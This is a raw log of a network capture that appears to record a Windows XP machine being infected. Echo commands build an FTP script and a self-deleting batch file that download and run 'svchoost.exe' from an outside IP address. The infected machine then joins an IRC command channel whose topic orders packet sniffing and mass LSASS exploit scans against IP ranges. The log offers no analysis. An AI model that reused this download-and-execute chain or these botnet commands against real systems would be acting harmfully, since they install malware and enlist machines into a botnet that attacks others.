VICTIM: Microsoft Windows XP [Version 5.1.2600] VICTIM: (C) Copyright 1985-2001 Microsoft Corp.C:\\WINDOWS\\system32> VICTIM: echo open 124.84.122.169 5502>.pif C:\\WINDOWS\\system32> VICTIM: echo user a a>>.pif C:\\WINDOWS\\system32> VICTIM: echo binary>>.pif C:\\WINDOWS\\system32> VICTIM: echo GET svchoost.exe>>.pif C:\\WINDOWS\\system32> VICTIM: echo bye>>.pif C:\\WINDOWS\\system32> VICTIM: echo @echo off >c.batC:\\WINDOWS\\system32> VICTIM: echo ftp -n -v -s:.pif >>c.batC:\\WINDOWS\\system32> VICTIM: echo svchoost.exe >>c.batC:\\WINDOWS\\system32> VICTIM: echo del .pif >>c.batC:\\WINDOWS\\system32> VICTIM: echo del /F c.bat >>c.batC:\\WINDOWS\\system32> VICTIM: echo exit /y >>c.batC:\\WINDOWS\\system32> ATTACKER: 220 VICTIM: USER a ATTACKER: 331 VICTIM: PASS a VICTIM: PASS a ATTACKER: 230 VICTIM: TYPE I ATTACKER: 200 VICTIM: PORT 192,168,1,117,4 ATTACKER: 200 ATTACKER: RETR svchoost.exe ATTACKER: 150 ATTACKER: 226 VICTIM: QUIT ATTACKER: 221 VICTIM: NICK `vflaioaUSER `vflaioa 0 0 :`vflaioa ATTACKER: :aaa.39213.com 001 `vflaioa :time, `vflaioa!~vflaioa@192.168.1.117:aaa.39213.com 005 `vflaioa MAP KNOCK SAFELIST HCN MAXCHANNELS=500 MAXBANS=60 NICKLEN=30 TOPICLEN=307 KICKLEN=307 MAXTARGETS=15 AWAYLEN=307 :are supported by this server:aaa.39213.com 005 `vflaioa WALLCHOPS WATCH=128 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=be,kfL,l,psmntirRcOAQKVGCuzNSMT NETWORK=time CASEMAPPING=ascii EXTBAN=~,cqr :are supported by this server:aaa.39213.com 422 `vflaioa :MOTD File is missing:`vflaioa MODE `vflaioa :+i VICTIM: JOIN #.hasi kr VICTIM: USERHOST `vflaioaJOIN #.hasi krUSERHOST `vflaioaJOIN #.hasi krUSERHOST `vflaioa ATTACKER: :`vflaioa!~vflaioa@192.168.1.117 JOIN :#.hasi:aaa.39213.com 332 `vflaioa #.hasi :`sniff.on |`adv.start lsass 100 5 0 -r -b -s |`adv.start lsass 100 5 0 80.x.x.x -r -s |`adv.start lsass 50 3 0 62.x.x.x -r |`adv.start lsass 80 5 0 213.x.x.x -r -s:aaa.39213.com 333 `vflaioa #.hasi sd 1215199784:aaa.39213.com 353 `vflaioa @ #.hasi :`vflaioa @sd @Hs :aaa.39213.com 366 `vflaioa #.hasi :End of /NAMES list.:aaa.39213.com 302 `vflaioa :`vflaioa=+~vflaioa@192.168.1.117 :aaa.39213.com 302 `vflaioa :`vflaioa=+~vflaioa@192.168.1.117 :aaa.39213.com 302 `vflaioa :`vflaioa=+~vflaioa@192.168.1.117